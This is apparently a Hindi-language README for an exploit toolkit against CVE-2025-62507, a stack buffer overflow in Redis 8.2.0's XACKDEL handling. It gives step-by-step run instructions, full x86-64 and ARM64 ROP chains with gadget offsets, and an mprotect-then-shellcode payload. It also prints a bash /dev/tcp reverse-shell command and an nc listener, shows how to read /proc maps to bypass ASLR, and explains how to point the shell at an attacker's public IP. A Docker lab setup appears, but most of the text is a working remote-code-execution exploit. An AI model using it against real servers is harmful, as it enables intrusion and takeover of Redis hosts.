
CVE-2025-62507 के लिए एक्सप्लॉइट स्क्रिप्ट, Redis 8.2.0 में एक स्टैक बफर ओवरफ्लो। x86-64 और ARM64 ROP चेन एक्सप्लॉइट प्रदान करता है, रिवर्स शेल के लिए शेलकोड जनरेशन के साथ, जिसमें GDB डिबगिंग सपोर्ट और Docker-आधारित कमजोर वातावरण शामिल है।
scripts/
├── exploit_x86.py # x86-64 ROP एक्सप्लॉइट
├── exploit_arm64.py # ARM64 (AArch64) ROP एक्सप्लॉइट
└── gdb_with_symbols.sh # GDB डीबग सहायक स्क्रिप्ट
| आइटम | विवरण |
|---|---|
| CVE | CVE-2025-62507 |
| कमजोरी प्रकार | स्टैक बफर ओवरफ्लो (Stack Buffer Overflow) |
| प्रभावित घटक | Redis 8.2.0 xackdelCommand फ़ंक्शन |
| ट्रिगर विधि | XACKDEL कमांड 52 से अधिक streamID के साथ |
| शोषण तकनीक | ROP श्रृंखला → mprotect द्वारा स्टैक निष्पादन अनलॉक → रिवर्स शेल के लिए शेलकोड |
| निर्भरता | Python 3 (केवल मानक लाइब्रेरी, कोई अतिरिक्त स्थापना आवश्यक नहीं) |
nc -lvnp 4444 शुरू करना होगा ताकि रिवर्स शेल का इंतज़ार किया जा सके/proc/<PID>/maps को पढ़ने में सक्षम होना चाहिए (रूट अनुमति)socket, struct, time, sys) का उपयोग करती हैं# प्रोजेक्ट रूट डायरेक्टरी में निष्पादित करें
docker compose -f docker-compose-vulnerable.yml up -d
# कंटेनर चल रहा है इसकी पुष्टि करें
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 पता प्राप्ति
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
नोट: हर बार कंटेनर पुनः प्रारंभ होने पर पते बदल जाते हैं (ASLR), इन्हें दोबारा प्राप्त करना होगा।
# होस्ट पर एक अलग टर्मिनल खोलें
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU निश्चित पता, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| पैरामीटर | अर्थ | प्राप्ति विधि | उदाहरण मान |
|---|---|---|---|
redis_base | redis-server ELF बेस पता | /proc/PID/maps में redis-server के पहले सेगमेंट का प्रारंभिक पता | 0x555555554000 |
libc_base | libc.so.6 बेस पता | /proc/PID/maps में libc.so के पहले सेगमेंट का प्रारंभिक पता | 0x7ffff75b3000 |
stack_addr | थ्रेड स्टैक सेगमेंट प्रारंभिक पता | /proc/PID/maps में [stack] सेगमेंट का प्रारंभिक पता | 0x7ffffffde000 |
52 भरण ID (1-1)
│
▼
ID#53 ओवरफ़्लो ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ शेलकोड ──→ system("/bin/bash -c '...'")
| गैजेट | ऑफ़सेट | विवरण |
|---|---|---|
pop rdi; ret | 0x82327 | mprotect का पहला पैरामीटर (addr) सेट करता है |
pop rsi; ret | 0x86416 | mprotect का दूसरा पैरामीटर (len) सेट करता है |
pop rdx; ret | 0xba1e2 | mprotect का तीसरा पैरामीटर (prot) सेट करता है |
call rsp | 0x9486d | स्टैक पर शेलकोड पर कूदता है |
mprotect (libc) | 0x1019e0 | स्टैक पेज को RWX के रूप में अनलॉक करता है |
system (libc) | 0x4c490 | रिवर्स शेल कमांड निष्पादित करता है |
reverse_shell_cmd वेरिएबल स्क्रिप्ट की पंक्ति 149 पर परिभाषित है, डिफ़ॉल्ट मान इस प्रकार है:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
संशोधन विधि: exploit_x86.py संपादित करें, reverse_shell_cmd पंक्ति ढूँढें, IP और पोर्ट बदलें:
| परिदृश्य | IP | विवरण |
|---|---|---|
Docker host नेटवर्क (डिफ़ॉल्ट) | 127.0.0.1 | कंटेनर और होस्ट एक ही नेटवर्क स्टैक साझा करते हैं, 127.0.0.1 होस्ट है |
Docker bridge नेटवर्क | 172.17.0.1 | डिफ़ॉल्ट ब्रिज गेटवे, होस्ट की ओर इंगित करता है |
| रिमोट अटैक | <हमलावर मशीन का सार्वजनिक IP> | लक्ष्य को हमलावर मशीन के संबंधित पोर्ट तक रूट करने में सक्षम होना चाहिए |
पोर्ट संशोधन: /dev/tcp/<IP>/4444 में 4444 को वास्तविक श्रवण पोर्ट से बदलें।
stack_pageकी गणनाstack_addrपैरामीटर के आधार पर गतिशील रूप से की जाती है:(stack_addr + 0x1000) & ~0xFFF, यह सुनिश्चित करता है कि mprotect विंडो शेलकोड वाले स्टैक क्षेत्र को कवर करे। यदि स्टैक लेआउट असामान्य है, तो समायोजन आवश्यक हो सकता है।
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| पैरामीटर | अर्थ | प्राप्ति विधि | उदाहरण मान |
|---|---|---|---|
redis_base | redis-server-8.2.0-arm64 ELF बेस पता | /proc/PID/maps में redis-server के पहले सेगमेंट का प्रारंभिक पता | 0xaaaaaaaa0000 |
libc_base | libc.so.6-arm64 बेस पता | /proc/PID/maps में libc.so के पहले सेगमेंट का प्रारंभिक पता | 0xfffff7630000 |
stack_addr | xackdelCommand प्रवेश बिंदु पर SP का मान (GDB विश्लेषण से) | GDB ब्रेकपॉइंट पर xackdelCommand प्रवेश SP का निरीक्षण करें | 0xfffffffff7e0 |
rev_host | (वैकल्पिक) रिवर्स शेल हमलावर मशीन IP | — | 192.168.1.1 |
rev_port | (वैकल्पिक) रिवर्स शेल श्रवण पोर्ट | — | 4444 |
target | (वैकल्पिक) लक्ष्य Redis IP | — | 192.168.1.129 |
ARM64 नोट:
stack_addrxackdelCommandप्रवेश के समय SP का मान है ([stack]सेगमेंट का प्रारंभिक पता नहीं!)।static_ids[0] = stack_addr - 0x310,call()का सेव किया गया x30stack_addr + 8पर है (अर्थातstatic_ids[49].seq)।
49 भरण ID (1-1)
│
▼
ID#49-58 call() समाप्ति फ्रेम (10 IDs) — call() के सेव किए गए रजिस्टरों और स्थानीय चर को ओवरराइट करता है
│ #49: सेव किया गया x29 (डमी) + x30 (G5)
│ #50: सेव किया गया x19/x20, #51: सेव किया गया x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: स्थानीय चर (0 पर सेट)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 चरण 1: G5 (redis + 0x1a4d40) x0=लेखन योग्य, → G_SET_X2_7
ID#62-65 चरण 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 चरण 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 चरण 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 चरण 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 चरण 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 चरण 7: BLR_X3 (redis + 0x92bc4) call mprotect → शेलकोड
ID#99+ शेलकोड — system("/bin/bash -c 'reverse_shell_cmd'")
महत्वपूर्ण:
call()का एपिलॉगretसे पहले स्टैक से x19-x28 को पुनर्स्थापित करता है और कई स्थानीय चर पढ़ता है। ID#49-58 को सुरक्षित मानों से भरना चाहिए, अन्यथा एपिलॉग निष्पादन के दौरान क्रैश हो जाएगा। ROP श्रृंखला ID#59 (call()ret के बाद SP स्थान) से शुरू होती है।
| गैजेट | ऑफ़सेट | कार्य | स्टैक खपत |
|---|---|---|---|
G5 (ldp x19,x20 + ldr x0) | 0x1a4d40 | स्टैक से x19, x0 लोड करता है | 0x30 (3 IDs) |
G_SET_X2_7 | 0x1d7a84 | w2=7, w1=-1 सेट करता है (साइड इफ़ेक्ट) | 0x40 (4 IDs) |
MOV_X3_X19 | 0x2948b0 | x3 = x19 (mprotect), x0 को ओवरराइट करता है | 0x170 (23 IDs) |
BLR_X3 | 0x92bc4 | blr x3; mprotect कॉल करता है | 0x30 (3 IDs) |